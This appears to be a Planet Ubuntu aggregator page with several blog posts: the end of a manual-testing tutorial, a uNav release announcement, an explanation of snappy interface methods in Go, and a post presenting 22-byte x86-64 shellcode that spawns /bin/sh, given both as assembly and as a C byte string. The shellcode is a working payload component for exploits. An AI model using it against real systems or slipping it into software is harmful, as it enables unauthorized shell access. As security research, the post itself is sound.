    $ bzr push lp:~/ubuntu-manual-tests/bugfix#####

    Then go to the Bazaar page for the Ubuntu Manual Testcases project and find your branch. Then submit a merge request detailing your test case. Congrats! You wrote a manual test case!

    Further questions?

    Below if you are on my website, I have linked an IRC client for you to use if you do not have your own. Type in a nickname, press start, and press Enter to speak in the channel. If you have an IRC client, go to #ubuntu-quality on irc.freenode.net. If you prefer not to use IRC, we have a mailing list that you can use if you wish. Good luck and I hope to see you around! ☺

    1. We also have a preinstalled image, but I will not cover that in this tutorial. 2. Even though the directory names will have changed, the information is still accurate. 3. This information will still be valid after we move on from Yakkety images. 4. Make sure Bazaar is set up properly before doing this If you have questions/comments/concerns/suggestions about this article, my email is tsimonq2@ubuntu.com or I am tsimonq2 on Freenode (PMs and pings welcome).

    Nekhelesh Ramananthan: uNav 0.59 "Beauty and the Beast" is OUT!

    Planet Ubuntu - Wed, 04/27/2016 - 11:26

    The uNav team is proud to announce the release of uNav 0.59 code named Beauty and the Beast. In my opinion, this is truly one of the best releases we have pushed out. The code name should give you a hint of what we focused on for 0.59 ʘ‿ʘ

    User Testing

    We started doing user testing early in the development cycle with friends and colleagues which revealed several interesting issues that new users found to be confusing and detrimental to the uNav experience. I suppose the first step in solving a problem is acknowledging we have a problem. Internally we found it difficult to accept the fact that certain features like the NearBy, Menu Navigation and Search that we spent hours building was not as intuitive as we thought it would be.

    I am thankful to the volunteers who joined our user testing sessions which resulted in a brand new navigation structure described in the next section.

    Brand new navigation structure

    User testing revealed that our menu (route page) was inefficient and misleading. While it did present a nice launch pad from which users can perform actions, it took longer to perform basic actions like search and navigate.

    So we took a step back and looked at the bigger picture and asked ourselves,

    What is uNav? What do users really use uNav for?

    The answer is simple, uNav is a navigation app which helps users to get from Point A to Point B. It is critical that we make this feature the highlight of our app and easy to use.

    That meant bringing the ability to search for locations to the forefront of the app rather than burying it inside menus.

    The search page provides quick access to various search sources (Address, Coordinates & Favorites).

    Visual Revamp

    As you may have guessed from our code name, we have a beast of an app uNav..this release we focused on turning that beast into a princess ;). We injected some brand color into the app to make it more lively.

    The interface also guides the user and prevents them from making a mistake. I have talked about this in my past posts about the best interface being one which actively prevents the user from making a mistake rather than just showing a error dialog after they make a mistake.

    Here is a small example of it in action,

    The zoom buttons got a bit of design love to improve their contrast against the map background.

    POI Details

    This is my personal favorite feature in this release. It shows all available information about a POI. This feature is heavily dependent on the OpenStreeMap database. However, I have found that adding details about a POI (restaurant, shop etc) is super easy using OSM's web editor. By taking a few moments to fill them out, you help out the community as well.

    Reverse Geocode

    You can long-press on any point in the map to get its address. If that point turns out to be a POI, then we show you its details.

    Performance Improvements

    There are some massive improvements to the calculate route time with speed camera alerts features enabled. In our tests, a 500 Km road-trip would take 2-3 minutes before uNav displays the route and the speed camera. Now it only takes 2-3 seconds!

    Pinch Zoom

    Did you just read pinch-zoom? Yes you did! uNav 0.59 finally brings pinch-zoom feature and also an improved long-press feature.

    Well that's all from me. Hopefully I didn't bore you with my long blog post. Loving uNav? Be sure to let us know with your reviews in the app store.

    Next up, Chameleonic uNav!

    Zygmunt Krynicki: Anatomy of a snappy interface

    Planet Ubuntu - Wed, 04/27/2016 - 05:50
    This post is the third in a series about snappy interfaces. Knowledge presented in posts one and two is assumed.

    Today we will look at what makes an interface. This post might be a bit heavier on the programming side so feel free to skip over the code fragments if that is not your thing. Note that we will not build an actual interface just yet. The goal of this article is to set the stage for that to be meaningful, at least in part.
    The Interface interfaceFrom the point of view of snappy, an Interface is a bit of code with specific APIs. In go's terms it is an interface (note the lower case i). If you are familiar with other languages it is just a way to describe a class with a specific set of methods.

    In go, this is spelled out as:

    type Interface interface {

    This can be read as "the go type Interface is an object with the following methods ..."
    Interface nameAt a very basic level each interface has a name.

    type Interface interface {
    Name() string

    That is, having an arbitrary interface you call the Name method to obtain the name of that interface. Interface name must be unique and is something that other developers will refer to so plan ahead and pick a good, descriptive name. You cannot just change it later.
    Validating plugs and slotsTwo of the methods in an Interface are used to verify if a plug or slot definition is correct.

    type Interface interface {
    SanitizePlug(plug *Plug) error
    SanitizeSlot(slot *Slot) error
    }  Remember that plugs and slots can hold arbitrary attributes. A particular interface, say, one that allows access to a GPIO pin, can use an attribute to describe which particular pin is exposed. As an interface author you should check if the pin is specified correctly (e.g. that it is a number, that it has a sensible value, etc).

    Both methods take an object to sanitize (a plug or a slot) and return an error if the object is incorrect. If you don't need to check anything just return nil and carry on.
    Interfaces and snippetsHaving a valid plug and slot, the main thing that interfaces do is to influence the various security systems. This is implemented as a set of four methods. Before I will spill the beans on the code I will explain this informally.

    Small digression, when you see a security system below think of things like apparmor and seccomp. I will focus on security systems in a dedicated instalment. For now they are simply a part of the overall security story. 
    Each security system is responsible for setting up security for each app of each snap. By default all apps get the same treatment, there is nothing unique about any particular app. Interfaces allow to pass extra information to a particular security system to let a particular app do more than it could otherwise.

    This extra information is exchanged as snippets. Snippets are just bits of untyped data, blobs, sequences of bytes. In practice all current snippets are just pieces of text that are easy to read and understand.

    Interfaces can hand out snippets for each of the four distinct cases:
    1. the mere fact of having a plug of a given interface
    2. the fact of having a particular plug connected to a particular slot
    3. the mere fact of having a slot of a given interface
    4. the fact of having a particular slot connected to a particular plug
    Note that there is a pattern. Applications can get extra permission by simply having a specific plug or a specific slot. Applications can also get extra permission by making an interface connection between a plug and a slot.

    Typically most permissions will be based around a plug connected to a slot. Apps bound to the plug will be allowed to talk to a specific socket, to a specific DBus object, to a specific device on the system. All such permissions will be expressed through a snippet provided by case 2 in the list above.

    For applications providing services to other snaps (e.g. bluez, network-manager, pulseaudio, mir, X11) the mere fact of having a slot will grant permissions to create the service (to configure network, manage GPUs, etc). Applications like this will use the mechanism provided by case 3 in the list above.

    The meaning of the snippets is almost opaque to snappy. Snappy collects them, assembles them together and hands them over to security backends to process. At the end of the day they end up as various configuration files.

    So how does the method definition look like? Like this:

    type Interface interface {
    PermanentPlugSnippet(plug *Plug, securitySystem SecuritySystem) ([]byte, error)
    ConnectedPlugSnippet(plug *Plug, slot *Slot, securitySystem SecuritySystem) ([]byte, error)
    PermanentSlotSnippet(slot *Slot, securitySystem SecuritySystem) ([]byte, error)
    ConnectedSlotSnippet(plug *Plug, slot *Slot, securitySystem SecuritySystem) ([]byte, error)

    Note that each method gets the name of the security system as an argument. A single interface can influence all security systems if that is required for it to operate correctly.
    Connecting interfaces automaticallyThe one last thing an interface can do is say it wants to automatically connect plugs to viable slots under certain conditions. This is expressed as the following method:

    type Interface interface {
    AutoConnect() bool

    This feature was designed to let snappy automatically connect plugs in snaps being installed if there is a viable, unique slot on the OS snap that satisfies the interface requirements. If you recall, the OS snap exposes a number of slots for things like network, network-bind and so on. To make the user experience better, when a snap wants to use one of those interfaces the user does not have to connect them explicitly.

    Please note that we're going to be conservative in what can be connected automatically. As a rule of thumb auto-connection is allowed if this is a reasonable thing to do and it is not a serious security risk (the interface doesn't hand out too much power).
    The complete pictureYou can check the complete interface code, with documentation, here. The key thing to take out of this whole article is that interfaces are bits of code that can validate plugs and slots and hand out security snippets.

    How this actually gets used and how the snippets should look like, that is for the next post.

    David Tomaschik: Even shorter x86-64 shellcode

    Planet Ubuntu - Wed, 04/27/2016 - 00:00

    So about two years ago, I put together the shortest x86-64 shellcode for execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I thought was pretty damn good. However, I’m a perfectionist and so I spent some time before work this morning playing shellcode golf. The rules of my shellcode golf are pretty simple:

    • The shellcode must produce the desired effect.
    • It doesn’t have to do things cleanly (i.e., segfaulting after is OK, as is using APIs in unusual ways, so long as it works)
    • It can assume the stack pointer is at a place where it will not segfault and it will not overwrite the shellcode itself.
    • No NULLs. While there might be other constraints, this one is too common to not have as a default.

    So, spending a little bit of time on this, I came up with the following 22 byte shellcode:

    BITS 64 xor esi, esi push rsi mov rbx, 0x68732f2f6e69622f push rbx push rsp pop rdi imul esi mov al, 0x3b syscall

    Assembled, we get:

    char shellcode[] = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05";

    This is shorter than anything I could find on shell-storm or other shellcode repositories. If you know of something shorter or think you can do better, let me know!


    Subscribe to Ubuntu Arizona LoCo Team aggregator